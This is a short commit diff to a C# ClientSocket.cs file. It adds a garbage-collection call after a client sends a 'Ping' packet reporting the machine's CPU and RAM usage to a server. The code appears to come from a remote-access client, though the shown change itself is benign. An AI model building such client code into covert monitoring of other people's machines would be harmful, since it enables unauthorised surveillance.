Update ClientSocket.cs

This commit is contained in:
NYAN CAT 2019-09-02 08:07:21 +03:00
parent 6c0166f4c0
commit fce5dbbf39

View File

@ -245,6 +245,7 @@ namespace Client.Connection
msgpack.ForcePathObject("Packet").AsString = "Ping"; msgpack.ForcePathObject("Packet").AsString = "Ping";
msgpack.ForcePathObject("Message").AsString = $"CPU {(int)Methods.TheCPUCounter.NextValue()}% RAM {(int)Methods.TheMemCounter.NextValue()}%"; msgpack.ForcePathObject("Message").AsString = $"CPU {(int)Methods.TheCPUCounter.NextValue()}% RAM {(int)Methods.TheMemCounter.NextValue()}%";
Send(msgpack.Encode2Bytes()); Send(msgpack.Encode2Bytes());
GC.Collect();
} }
} }